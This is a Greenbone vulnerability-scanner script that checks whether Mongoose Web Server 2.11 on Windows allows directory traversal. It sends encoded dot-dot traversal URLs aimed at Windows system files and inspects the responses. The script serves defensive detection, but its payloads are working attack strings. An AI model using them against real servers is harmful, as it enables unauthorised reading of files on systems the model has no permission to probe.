Mongoose Web Server <= 2.11 Multiple Directory Traversal Vulnerabilities

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:cesanta:mongoose";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801533");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-11-02 18:01:36 +0100 (Tue, 02 Nov 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Mongoose Web Server <= 2.11 Multiple Directory Traversal Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_mongoose_web_server_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("cesanta/mongoose/http/detected", "Host/runs_windows");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Mongoose Web Server is prone to multiple directory traversal
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks the
  responses.");

  script_tag(name:"insight", value:"The flaws are due to an error in validating backslashes in the
  filenames.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to perform directory
  traversal attacks and read arbitrary files on the affected application.");

  script_tag(name:"affected", value:"Mongoose Web Server version 2.11 on Windows.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/15373/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

files = traversal_files("windows");
exploits = make_array();

foreach pattern(keys(files)) {
  file = files[pattern];
  exploits["/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/" + file] = pattern;
  file = str_replace(find:"/", string:file, replace:"\");
  exploits["/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\" + file] = pattern;
  file = str_replace(find:"\", string:file, replace:"%5c");
  exploits["/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c" + file] = pattern;
  file = str_replace(find:"%5c", string:file, replace:"%c0%5c");
  exploits["/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c" + file] = pattern;
}

foreach url(keys(exploits)) {

  pattern = exploits[url];

  if(http_vuln_check(port:port, url:url, check_header:TRUE, pattern:pattern)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);